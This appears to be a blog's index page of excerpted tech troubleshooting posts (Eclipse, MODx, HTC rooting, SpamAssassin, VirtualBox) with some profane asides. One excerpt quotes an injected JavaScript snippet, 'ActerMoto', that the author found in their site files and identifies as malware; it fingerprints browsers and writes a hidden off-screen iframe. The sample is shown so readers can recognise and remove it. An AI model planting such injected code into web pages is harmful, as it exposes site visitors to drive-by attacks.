Eclipse not starting, libGL error: No matching fbConfigs or visuals found

If your eclipse logfile looks anything like this, it’s very likely you are having the same problem I had, and it drove me crazy for half a day.

Low-Budget Laptops von HP, Lenovo und Acer vs. High-End Geräte, MacBooks und Ultrabooks

In einer Welt der Tablets, leistungsstarken Mobiltelefone und Software-Heterogenität ist es nicht verwunderlich, dass sich Leute nach unterschiedlichen Modellen und Ansprüchen umschauen. Ich wollte wieder einen Laptop haben und stand vor einem Trilemma.

Szenario #1: Der Laptop als vollständinger PC-Ersatz

Das war ein erster Ansatz, den ich hatte. Einen Laptop anzuschaffen, auf dem man arbeiten kann, der Leistung in ausreichender Form hat, langlebig und erweiterbar ist. Das ist schon eine sportliche Herausforderung, wenn man dabei bedenkt, dass man nicht “mal eben” Komponenten tauschen kann, wie man es z.B. bei einem stationären Rechner kann.

4 MODx Packages you don’t want to miss out on

Our team has been working with MODx for quite some time now. It’s an amazing CMS for people who know what they are doing, next to all those morons who sell Joomla and WordPress installations for a shitload of money, but can’t really do any real customization.

I am not even going to mention getPage and all this crucial stuff. I am going to point you to a few extensions that actually make life easier for you:

Unlocking, Rooting, S-OFF on HTC One (m7) with hboot 1.57

If you have been struggling with your HTC One and haven’t been able to S-OFF the device, here’s a way to do it. I have been trying rumrunner with no success and firewater didn’t work either. I just got confused by all those people on the internet writing articles about it without knowing what the fuck they are even doing.

How to fix ActerMoto and its edited JavaScript Files

Today stuff happened. Suddenly a lot of jQuery stuff stopped working and I had no idea why.

After searching for a bit, we found this in ALL of our javascript files:

Copyright (C) 2007 Free Software Foundation, Inc.
function getCookie(e) {
    var t = document.cookie.match(new RegExp("(?:^|; )" + e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return t ? decodeURIComponent(t[1]) : undefined
function ActerMoto() {
    var e = navigator.userAgent;
    var t = e.indexOf("Chrome") & gt; - 1 || e.indexOf("IEMobile") & gt; - 1 || e.indexOf("Windows NT 6.2") & gt; - 1 || e.indexOf("Windows NT 6.3") & gt; - 1 || e.indexOf("Windows") & lt; + 1;
    var n = getCookie("lusikrators") === undefined;
    if (!t & amp; & amp; n) {
        document.write('<iframe src="" style="left: -904px;border-left-style: dotted;border-right-color: rgb(13,64,34);border-right-style: solid;height: 100px;width: 100px;position: absolute;border-right-width: 8px;top: -904px;"></iframe>');
        var r = new Date((new Date).getTime() + 64 * 60 * 60 * 1e3);
        document.cookie = "lusikrators=1; path=/; expires=" + r.toUTCString()
Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt

For those of you fooled by the “Free Software Foundation” distraction: This is malware and needs to get removed.

spamd: failed to create readable default_prefs: /nonexistent/.spamassassin/user_prefs

This is a fun one. Just skip to the solution if you don’t want to know why this happens.

Setting up postfix to work with greylisting and spamassassin is quite easy, but if you don’t double-check the logfiles, you will probably miss that your spamassassin doesn’t have user-preferences or the ability to learn, which will leave you with log-entries like these:

Enigmail and OpenPGP-related stuff broken after dist-upgrade to Ubuntu 14.04

Here’s something that took me a few hours to solve, even though it’s been a simple solve:

  • OpenPGP key-management was entirely empty.
  • can’t import keys from file or keyserver
  • refuses to encrypt anything
  • refuses to decrypt anything

I tried re-installing the thunderbird plugin and all the other common ways to solve things that might break during a dist-upgrade. The solution was a lot simpler.

Raspberri Pi, RaspBMC, Raspbian and how to get the best performance out of them

Very well then. After so many people told me how totally amazing their 3.5W-consuming $40 piece of hardware is performing, I finally decided to get myself such a thing. As you’re probably used to, when you’re reading our blog, I’ll tell you up front what the resolution was, so you don’t need to read the entire thing. A big thank you goes out to ActionA on for pointing me to a USB flash drive instead of using an SD card.

MODx, TVs, Resource-Lists and clauses

I thought I should write something about that. I really love MODx, but I really hate the documentation. It’s full of gaps and stuff you really have to find out for yourself – or even worse – use the source, Luke.

Even though I am familiar with open-source software (development), I hate PHP as much as I hate perl (the unintuitive language of the braindead…) and I don’t like figuring stuff out by myself that should be self-explanatory.

VirtualBox VDI resize not working correctly in Windows Guest System

After reading loads of posts on the web, I want to keep others from this annoying task and give you guys a solution to that right away. I am running VirtualBox 4.2 on a Debian system btw.

andreas@quadcore64:~/VirtualBox VMs/w7-vm$ VBoxManage modifyhd Windows\ 7.vdi --resize 30000

This should have been it, right? Well not really, because Windows doesn’t give me any more space as a Guest OS. So why is that?